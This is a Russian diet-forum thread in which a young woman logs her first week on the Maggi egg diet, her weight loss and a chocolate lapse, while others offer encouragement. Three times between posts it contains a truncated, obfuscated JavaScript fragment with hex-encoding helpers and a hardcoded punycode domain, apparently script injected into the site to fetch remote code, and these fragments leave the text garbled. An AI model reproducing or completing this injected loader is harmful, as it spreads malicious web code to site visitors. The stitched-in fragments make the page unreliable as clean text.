Всем привет!
Мне 26 лет, вес 71 кг., рост 170 см. Сегодня 3 день 1 недели, самочувствие отличное, по себе ощущаю сдвиги в весе. Взвешиваться буду на 5 день, т.е. после завтра.
Года 4 назад весила 86 кг. это мой пик в тяжеловесии. После этого 2 месяца ходила на шейпинг раза 4-5 в неделю , практически ничего не ела, теряла по 2 кг. в неделю. За 2 месяца скинула 16 кг. Потом вес остановился и я расстроилась и бросила занятия, но результат меня и так устраивал. За 4 прошедших года были попытки диет и домашних физ. упражнений, думаю эти попытки и дали мне удержать вес в норме. Правда в 2015 году перед Новым годом отъелась до 79 кг. и испугалась. Потом понеслось моно-диеты, овощная диета, кремлевская диета и т.д. И все-таки я вернула свой вес.
Моей мечтой всегда оставался вес в 65 кг. Вот хочу чтоб мечта сбылась.
Недавно знакомая рассказала про диету Магги. Правда сказала что настроение упало и на 3 день 1 недели она сорвалась. После этого разговора, я зашла на этот сайт и когда ознакомилась с меню, была приятно удивлена. Мне очень понравилось точное описание продуктов, которые нужно кушать. Особенно яйца я люблю, так что с этим основным продуктом диеты у меня все отлично.
Планы у меня такие: добиться своей мечты и утереть нос подруге «Сказав что это диета Магги, чудеса творит!»
Тему создала, что бы делиться опытом с худеющими на этой диете, а так же найти поддержку и мотивацию на всех этапах диеты Магги.
Всем успехов! Пишите, буду рада общению!
Привет! Вчера не было возможности поделиться результатом, так вот сегодня отчитываюсь минус 1,8 кг. Сначала когда весы показали 69,2 кг. , как то расстроилась, но потом посчитала получилось минус 450 грамм за каждый день и расцвела.
Вчера были в гостях все пили пиво с рыбкой, а мне даже не хотелось, не соблазнилась ни на семечки, ни на чипсы, а выпила 2 кружки зеленого чая, конечно без сахара. Хорошо что вчера по меню на ужин была рыбка, салат и грейпфрут, я наелась перед походом в гости и не сорвалась.
Сегодня уже приезжают к нам в гости, я рада, что в субботу первой недели на ужин мясо и салат, съем пару кусочков шашлычка и салатик. На обед сегодня груши, я их очень люблю.
Мне нравятся завтраки, вареные яички в сочетании с апельсином. Но перед завтраком, примерно за 20 мин. выпиваю стакан воды, но в течении дня воду практически не пью, между приемами пищи пью утром кофе, в обед зел. чай и после ужина кипяток с лимонном и мелиссой, конечно все напитки без сахара.
Подскажите, если я так мало употребляю чистой воды, это не страшно?
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
Спасибо за поддержку!!! Насиловать организм не надо.
На обед съела 2 груши, ну прям объелась. Гости не приехали это в принципе хорошо, нет соблазнов. На ужин отварила грамм 100 говядины и салатик из огурцов, помидор, перца и листьев салата заправленные лимонным соком.
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
22.05.2016
Вот и подошла к концу 1-я неделя. Ближе к вечеру начала болеть голова и горло, не знаю, может быть голова- из-за погоды, а горло, холодного ничего не пила. Еще и настроение как то упало.
В шкафу обнаружила шоколадную конфету, решила отпраздновать завершение 1 недели и поднять себе настроение. Конфета оказалась очень сладкой — сказывается питание без сахара. Думаю это не так уж ужасно, зато я так подготовилась ко 2 недели.
Прошу понять и простить!!!
Молодец! Поздравляю с завершением первой недели!!! Какие результаты за неделю?
Конфетка думаю не повредит, но психику успокоит. А насчет сладости... я заметила, что мы действительно перестали чувствовать насколько все продукты переслащены!!! Я как-то после подобной диеты опробовала вареную колбасу — это просто отвратно, прямо реально очень сладко.
Я тоже сегодня немножко нарушила — первый раз за 2,5 недели. Были в кафе с подружками, а у меня рыбно-овощной день. Ну я и заказала запеченную радужную форель, фаршированную овощами. Думала, что как раз вписываюсь. Рыбка оказалась чудесной, а вот овощи были поданы отдельно как гарнир и там были грибы, а еще они были слегка припущены на масле... можно было бы конечно их не есть, понимаю, но они так пахли... Так что я тоже с покаянной )))
23.05.2016
Да грибочков охото, вот были бы они в меню.
Я думаю в кафе чуть чуть нарушить можно, главное чтоб эти чуть чуть в привычку не вошли.
Выдержка у тебя отличная, я думаю за 2,5 недели можно.
Взвешивание по графику завтра, с нетерпением жду. В начале диеты я обмерила обхваты, но у меня не было сантиметра, пришлось изобретать. Сегодня купила сантиметр и не удержалась и обмерялась, так вот с боков ушло 5 см. — я в восторге. Завтра отпишусь по всем параметрам.
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e